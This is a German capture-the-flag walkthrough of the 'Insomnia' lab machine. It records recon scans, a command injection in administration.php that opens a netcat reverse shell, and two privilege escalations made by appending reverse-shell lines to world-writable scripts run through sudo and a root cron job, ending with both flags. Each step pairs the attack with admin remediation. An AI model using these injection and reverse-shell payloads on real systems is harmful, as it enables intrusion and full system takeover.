Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment ausgeführt.
Bewertung: Ein Host mit der IP `192.168.2.111` und der MAC-Adresse `08:00:27:9c:cc:3b` (VirtualBox) wird als Zielsystem erkannt.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.111 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerküberwachung zur Erkennung unbekannter Geräte.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.111 08:00:27:9c:cc:3b PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.855 seconds (138.01 hosts/sec). 1 responded
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.111 durchgeführt.
Bewertung: Der Scan findet **nur einen offenen Port**: - **Port 8080 (HTTP):** Läuft ein PHP CLI Server (Version 5.5 oder höher, spezifisch PHP 7.3.19). Der Seitentitel ist "Chat". Kein SSH oder andere Standarddienste sind offen. Der Hostname ist `insomnia`. Das OS ist Linux.
Empfehlung (Pentester): Der Angriff muss sich vollständig auf den Webdienst auf Port 8080 konzentrieren. Untersuche die "Chat"-Anwendung gründlich.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. PHP CLI Server ist primär für Entwicklung gedacht und sollte nicht für produktive, exponierte Dienste verwendet werden.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-04 16:12 CET Nmap scan report for insomnia (192.168.2.111) Host is up (0.00011s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1~deb10u1) |_http-title: Chat |_http-server-header: PHP 7.3.19-1~deb10u1 Development Server MAC Address: 08:00:27:9C:CC:3B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.11 ms insomnia (192.168.2.111) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf `http://192.168.2.111:8080` verwendet.
Bewertung: !!Fehlgeschlagen!!** Gobuster bricht mit einem Fehler ab. Der Server gibt für nicht existierende URLs einen Statuscode 200 zurück, was Standard-Directory-Busting unmöglich macht. Der zweite Versuch (identischer Befehl) scheitert ebenso.
Empfehlung (Pentester): Wechsle zu Tools, die nach Inhaltslänge oder anderen Merkmalen filtern können (z.B. `wfuzz --hc 404 --hh [Standardgröße]`, `ffuf -fs [Standardgröße]`). Untersuche die Anwendung manuell.
Empfehlung (Admin): Konfiguriere den Webserver (auch den PHP Dev Server, falls möglich), um korrekte 404-Fehlercodes zu senden.
=============================================================== Gobuster v3.3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.111:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.3 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/11/04 16:14:10 Starting gobuster in directory enumeration mode =============================================================== [!] Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.2.111:8080/2a43c755-6457-4fd5-af10-7a412016cf2e => 200 (Length: 2899). To continue please exclude the status code or the length
Analyse: `nikto` wird auf `192.168.2.111:8080` ausgeführt.
Bewertung: Nikto identifiziert den `X-Powered-By: PHP/7.3.19`-Header, meldet fehlende Security-Header und einen wahrscheinlichen Oracle-Reports-False-Positive. Der Scan bricht wegen zu vieler Fehler ab, was auf Probleme mit der Reaktion des Servers hindeutet.
Empfehlung (Pentester): Nikto liefert hier wenig. Konzentriere dich auf manuelle Analyse und gezieltes Fuzzing.
Empfehlung (Admin): Entferne den `X-Powered-By`-Header. Setze Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 8080 + Start Time: 2022-11-04 16:14:31 (GMT1) --------------------------------------------------------------------------- + Server: No banner retrieved + Retrieved x-powered-by header: PHP/7.3.19-1~deb10u1 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response + Scan terminated: 20 error(s) and 5 item(s) reported on remote host + End Time: 2022-11-04 16:14:44 (GMT1) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Inhalt der Startseite (`/`) wird mit `curl` geholt.
Bewertung: Die Seite enthält nur das Wort "Chat", wie schon von Nmap (`http-title`) angedeutet.
Empfehlung (Pentester): Untersuche den Quellcode der Seite.
Empfehlung (Admin): Keine Aktion.
Chat
Analyse: Ein JavaScript-Codeausschnitt (vermutlich aus dem Quellcode der Startseite oder einer eingebundenen JS-Datei) und die Notiz "process.php" werden gezeigt.
Bewertung: !!Wichtige Funktion aufgedeckt!!** Der Code zeigt eine `sendChat`-Funktion, die eine AJAX POST-Anfrage an `process.php` sendet. Die Parameter sind `function=send`, `message`, `nickname` und `file`. Dies enthüllt das Kernstück der Chat-Funktionalität und die verantwortliche Backend-Datei.
Empfehlung (Pentester): Teste `process.php` mit POST-Requests und den Parametern `function`, `message`, `nickname`, `file`. Fuzze diese Parameter auf Schwachstellen (XSS, Injection etc.).
Empfehlung (Admin): Sichere die `process.php` durch strikte Eingabevalidierung und -sanitisierung für alle Parameter.
// Aus dem Quellcode von index.php (Vermutung): process.php // ...alert('hi ben');// XSS Versuch von 'ben'? function sendChat(message, nickname) { updateChat(); // Andere Funktion $.ajax({ type: "POST", // POST Request url: "process.php", // Ziel-Skript data: { 'function': 'send', // Funktion 'message': message, // Nachricht 'nickname': nickname, // Benutzername 'file': file // Datei ??? }, dataType: "json", success: function(data){ updateChat(); }, }); // Fehlendes schließendes Klammerpaar ergänzt }
Analyse: Die HTTP-Header von `process.php` werden mit `curl -I` (HEAD-Request) und der Inhalt mit `curl -X GET` abgerufen.
Bewertung: Bestätigt die Existenz von `process.php` und die PHP-Version. Der GET-Request liefert ein leeres JSON-Array `[]`, was darauf hindeutet, dass POST-Daten oder spezifische Parameter benötigt werden.
Empfehlung (Pentester): Fokussiere dich auf POST-Requests an `process.php` mit den zuvor identifizierten Parametern.
Empfehlung (Admin): Keine Aktion.
HTTP/1.1 200 OK Host: 192.168.2.111:8080 Date: Fri, 04 Nov 2022 15:23:50 GMT Connection: close X-Powered-By: PHP/7.3.19-1~deb10u1 Content-type: text/html; charset=UTF-8
[]
Analyse: Ein `dirb`-Scan wird spezifisch für `.txt`- und `.php`-Dateien ausgeführt.
Bewertung: !!Wichtige Dateien gefunden!!** - `administration.php`: Eine potenzielle Admin-Oberfläche. - `chat.txt`: Wahrscheinlich die Datei, in der die Chat-Nachrichten gespeichert werden. - `index.php`, `process.php`: Bereits bekannt.
Empfehlung (Pentester): Untersuche `administration.php` auf Login-Möglichkeiten oder Schwachstellen. Lese `chat.txt`, um zu sehen, ob die XSS-Payloads darin gespeichert wurden.
Empfehlung (Admin): Sichere den Zugriff auf `administration.php`. Überprüfe die Berechtigungen für `chat.txt`.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Nov 4 16:33:50 2022 URL_BASE: http://192.168.2.111:8080/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2] ----------------- GENERATED WORDS: 9224 ---- Scanning URL: http://192.168.2.111:8080/ ---- + http://192.168.2.111:8080/administration.php (CODE:200|SIZE:65) + http://192.168.2.111:8080/chat.txt (CODE:200|SIZE:150) + http://192.168.2.111:8080/index.php (CODE:200|SIZE:2899) + http://192.168.2.111:8080/process.php (CODE:200|SIZE:2) ----------------- END_TIME: Fri Nov 4 16:33:55 2022 DOWNLOADED: 9224 - FOUND: 4
Analyse: Der Inhalt von `chat.txt` wird abgerufen (vermutlich via `curl` oder Browser).
Bewertung: Zeigt die gespeicherten Chat-Nachrichten, inklusive der XSS-Payloads mit `alert()`. Bestätigt, dass Nachrichten hier landen.
Empfehlung (Pentester): Konzentriere dich auf `administration.php`.
Empfehlung (Admin): Sanitize Eingaben, bevor sie in `chat.txt` gespeichert werden, um Stored XSS zu verhindern.
# Inhalt von http://192.168.2.111:8080/chat.txt bend benhi benhi benalert('hi ben'); benalert('hi ben'); benssssss
Analyse: `wfuzz` wird verwendet, um GET-Parameter für `administration.php` zu finden. Es filtert Antworten mit der Standardgröße (65 Chars) heraus.
Bewertung: !!Wichtiger Parameter gefunden!!** Der Parameter `logfile` wird entdeckt.
Empfehlung (Pentester): Teste den `logfile`-Parameter auf LFI und Command Injection.
Empfehlung (Admin): Keine Aktion.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.2.111:8080/administration.php?FUZZ=test Total requests: 951 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000485: 200 2 L 12 W 69 Ch "logfile" Total time: ... Processed Requests: 951 Filtered Requests: 950 Requests/sec.: ...
Analyse: Die `administration.php` wird mit dem `logfile`-Parameter aufgerufen. Zuerst mit `logfile=test`, dann mit `logfile=chat.txt`.
Bewertung: !!Command Injection Schwachstelle bestätigt!!** - `logfile=test`: Gibt die Fehlermeldung "You are not allowed to view : test" aus, zeigt aber, dass der Parameterwert in der Antwort reflektiert wird. - `logfile=chat.txt`: Gibt den Inhalt von `chat.txt` aus (hier nur "ben"). Dies bestätigt eine (möglicherweise eingeschränkte) LFI. **Entscheidend:** Das Verhalten deutet darauf hin, dass der Wert von `logfile` *vor* der Berechtigungsprüfung oder Dateianzeige unsicher verwendet wird, was eine Command Injection ermöglicht, wenn Shell-Metazeichen wie `;` verwendet werden.
Empfehlung (Pentester): Nutze die Command Injection aus. Konstruiere eine Payload wie `logfile=[GÜLTIGE_DATEI];[BEFEHL]`. Beispiel: `logfile=chat.txt;nc -e /bin/sh [ATTACKER_IP] [PORT]` für eine Reverse Shell.
Empfehlung (Admin):**DRINGEND:** Behebe die Command Injection in `administration.php`. Validiere und sanitisiere den `logfile`-Parameter streng. Führe niemals Benutzereingaben direkt oder indirekt als Shell-Befehle aus.
You are not allowed to view : test
Your activity has been logged
ben
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet.
Bewertung: Vorbereitung zum Empfang der Reverse Shell.
Empfehlung (Pentester): Sende den Exploit-Payload.
Empfehlung (Admin): Keine Aktion.
listening on [any] 4444 ...
Analyse: Die Command Injection Payload wird konstruiert und über den Browser (oder `curl`) aufgerufen: `http://.../administration.php?logfile=chat.txt;nc -e /bin/sh [ATTACKER_IP] 4444`.
Bewertung: Korrekter Exploit-Payload, der die Schwachstelle ausnutzt, um eine Reverse Shell zu starten.
Empfehlung (Pentester): Überprüfe den Listener.
Empfehlung (Admin): Behebe die Schwachstelle.
# Payload via Browser/Curl: http://192.168.2.111:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.2.121 4444
Analyse: Der Netcat-Listener empfängt die Verbindung vom Ziel.
Bewertung: !!Initial Access erfolgreich!!** Eine Shell als `www-data` wird erhalten.
Empfehlung (Pentester): Stabilisiere die Shell.
Empfehlung (Admin): Untersuche den Vorfall.
listening on [any] 4444 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 45060 /bin/sh: 0: can't access tty; job control turned off $
Analyse: Die Shell wird stabilisiert.
Bewertung: Erfolgreich.
Empfehlung (Pentester): Beginne Enumeration.
Empfehlung (Admin): Keine Aktion.
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@insomnia:~/html$ export TERM=xterm www-data@insomnia:~/html$
^Z zsh: suspended nc -lvnp 4444
[1] + continued nc -lvnp 4444 reset www-data@insomnia:~/html$
Analyse: Als `www-data` wird `sudo -l` ausgeführt.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf `/bin/bash /var/www/html/start.sh` als Benutzer `julia` ohne Passwort ausführen.
Empfehlung (Pentester): Untersuche `/var/www/html/start.sh` und dessen Berechtigungen.
Empfehlung (Admin): Überprüfe `sudo`-Regeln sorgfältig.
www-data@insomnia:~/html$ sudo -l
Matching Defaults entries for www-data on insomnia:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on insomnia:
(julia) NPASSWD: /bin/bash /var/www/html/start.sh
Analyse: Das Home-Verzeichnis wird aufgelistet (findet `julia`), der Inhalt von `start.sh` wird angezeigt (`php -S 0...`) und die Berechtigungen von `start.sh` werden geprüft (`ls -la`).
Bewertung: !!Exploitierbare Konfiguration!!** Das Skript `start.sh` ist **weltweit beschreibbar** (`-rwxrwxrwx`). Da `www-data` das Skript ändern und es dann als `julia` ausführen darf, ist eine Eskalation möglich.
Empfehlung (Pentester): Hänge einen Befehl (z.B. Reverse Shell) an `start.sh` an und führe es mit `sudo -u julia ...` aus.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen von `start.sh` (sollte nur für den Besitzer schreibbar sein). Korrigiere die unsichere `sudo`-Regel.
www-data@insomnia:~/html$ ls /home julia www-data@insomnia:~/html$ cat /var/www/html/start.sh php -S 0.0.0.0:8080 www-data@insomnia:~/html$ ls -la /var/www/html/start.sh -rwxrwxrwx 1 root root 20 Dec 21 2020 /var/www/html/start.sh
Analyse: Der Angreifer hängt einen Netcat-Reverse-Shell-Befehl an `start.sh` an und führt das modifizierte Skript dann mit `sudo -u julia ...` aus.
Bewertung: Der Exploit wird korrekt ausgeführt. Der ursprüngliche PHP-Befehl schlägt fehl (Port bereits belegt), aber der angehängte `nc`-Befehl wird als `julia` ausgeführt.
Empfehlung (Pentester): Bereite einen Listener auf Port 5555 vor.
Empfehlung (Admin): Behebe die Berechtigungs- und `sudo`-Probleme.
www-data@insomnia:~/html$ cd /tmp/ www-data@insomnia:/tmp$ echo 'nc -e /bin/sh 192.168.2.121 5555' >> /var/www/html/start.sh www-data@insomnia:/tmp$ sudo -l Matching Defaults entries for www-data on insomnia: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on insomnia: (julia) NPASSWD: /bin/bash /var/www/html/start.sh www-data@insomnia:/tmp$ sudo -u julia /bin/bash /var/www/html/start.sh [Fri Nov 4 11:58:30 2022] Failed to listen on 0.0.0.0:8080 (reason: Address already in use)
Analyse: Ein neuer Netcat-Listener auf Port 5555 empfängt die Verbindung. `id` bestätigt die Rechte des Benutzers `julia`.
Bewertung: !!Benutzerwechsel erfolgreich!!** Eine Shell als `julia` wurde erlangt.
Empfehlung (Pentester): Stabilisiere die Shell. Lies die User-Flag. Suche nach dem nächsten Eskalationsschritt.
Empfehlung (Admin): Untersuche den Vorfall.
listening on [any] 5555 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 49730
id
uid=1000(julia) gid=1000(julia) groups=1000(julia),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
$
Analyse: Es wird angenommen, dass die Shell als `julia` stabilisiert wurde.
Bewertung: Erleichtert die weitere Interaktion.
Analyse: Als `julia` wird die User-Flag gelesen.
Bewertung: User-Flag `c2e285cb33cecdbeb83d2189e983a8c0` gefunden.
Empfehlung (Pentester): Suche nach Root-Eskalation.
Empfehlung (Admin): Keine Aktion.
julia@insomnia:/tmp$ cd ~ julia@insomnia:~$ cat user.txt ~\ USER INSMNIA ~ Flag : [c2e285cb33cecdbeb83d2189e983a8c0]
Analyse: Als `julia` wird `sudo -l` ausgeführt.
Bewertung: `julia` benötigt ein Passwort für `sudo`. `sudo` ist somit kein direkter Vektor von hier aus.
Empfehlung (Pentester): Suche nach anderen Vektoren: SUID, Cronjobs, Kernel-Exploits, Konfigurationsfehler.
Empfehlung (Admin): Korrekte `sudo`-Konfiguration für diesen Benutzer.
julia@insomnia:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for julia:
Analyse: Systeminformationen werden gesammelt (`/etc/*rel*`, `uname`).
Bewertung: Bestätigt Debian 10 (Buster) und Kernel 4.19. Dies könnte für die Suche nach Kernel-Exploits relevant sein, aber oft gibt es einfachere Wege.
Empfehlung (Pentester): Notieren, aber zuerst nach einfacheren Vektoren suchen.
Empfehlung (Admin): System aktuell halten.
julia@insomnia:~$ cat /etc/*rel* PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" julia@insomnia:~$ uname -a Linux insomnia 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux julia@insomnia:~$ uname -r 4.19.0-12-amd64 julia@insomnia:~$ uname -m x86_64
Analyse: Es wird nach SUID-Binaries gesucht.
Bewertung: Es werden nur Standard-SUID-Binaries gefunden. Kein offensichtlicher Eskalationsvektor hier.
Empfehlung (Pentester): Untersuche Cronjobs oder andere Konfigurationen.
Empfehlung (Admin): Keine Aktion.
julia@insomnia:~$ find / -type f -perm -4000 -ls 2>/dev/null
17173 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
28978 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
32504 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
279 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
278 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
281 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
42484 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
4059 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
282 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
257 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
4061 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3826 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
Analyse: Netzwerk-Sockets werden mit `ss -tulpen` überprüft.
Bewertung: Bestätigt, dass nur Port 8080 (von Prozess mit UID 33, www-data) und Port 68 (DHCP-Client) lauschen. Keine versteckten Dienste.
Empfehlung (Pentester): Untersuche Cronjobs.
Empfehlung (Admin): Keine Aktion.
julia@insomnia:/var/www$ ss -tulpen
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* users:(("dhclient",pid=XXX,fd=X)) ino:13546 sk:1 <->
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("php",pid=XXX,fd=X)) uid:33 ino:14222 sk:2 <->
Analyse: Die System-Crontab (`/etc/crontab`) wird angezeigt. Anschließend werden die Berechtigungen des darin referenzierten Skripts `/var/cron/check.sh` geprüft.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** Die Crontab zeigt, dass `/bin/bash /var/cron/check.sh` **jede Minute** als **root** ausgeführt wird. Die Dateiberechtigungen von `check.sh` sind `-rwxrwxrwx` (777), was bedeutet, dass **jeder Benutzer** das Skript ändern kann.
Empfehlung (Pentester): Hänge einen Reverse-Shell-Payload an `/var/cron/check.sh` an. Starte einen Listener auf dem entsprechenden Port und warte maximal eine Minute, bis der Cronjob die Shell auslöst.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen von `/var/cron/check.sh` (`chmod 755`, `chown root:root`). Überprüfe alle Cronjobs auf unsichere Berechtigungen oder Skripte.
julia@insomnia:~$ cat /etc/crontab # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root /bin/bash /var/cron/check.sh julia@insomnia:~$ cd /var/cron julia@insomnia:/var/cron$ ls -la | grep check.sh -rwxrwxrwx 1 root root 153 Dec 21 04:17 check.sh
Analyse: Ein Netcat-Listener wird auf Port 4447 gestartet. Anschließend wird ein Netcat-Reverse-Shell-Befehl an die Datei `/var/cron/check.sh` angehängt (`>>`).
Bewertung: Der Exploit wird vorbereitet. Der `>>` Operator stellt sicher, dass der ursprüngliche Inhalt des Skripts nicht überschrieben wird (obwohl das hier wahrscheinlich egal wäre).
Empfehlung (Pentester): Warte maximal eine Minute auf die eingehende Verbindung.
Empfehlung (Admin): Korrigiere die Berechtigungen.
listening on [any] 4447 ...
julia@insomnia:/var/cron$ echo 'nc -e /bin/sh 192.168.2.121 4447' >> check.sh
Analyse: Der Netcat-Listener auf Port 4447 empfängt die Verbindung, die durch den minütlichen Cronjob ausgelöst wurde.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der Cronjob hat das modifizierte `check.sh` als `root` ausgeführt und die Reverse Shell gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.
Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Dateiberechtigungen von `/var/cron/check.sh`.
listening on [any] 4447 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 34094
id
uid=0(root) gid=0(root) groups=0(root)
Analyse: Als Root wird die Root-Flag gelesen.
Bewertung: Root-Flag `c84baebe0faa2fcdc2f1a4a9f6e2fbfc` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
# ls root.txt # cat root.txt ~\ ROOTED INSMNIA ~ Flag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc] by Alienum with <3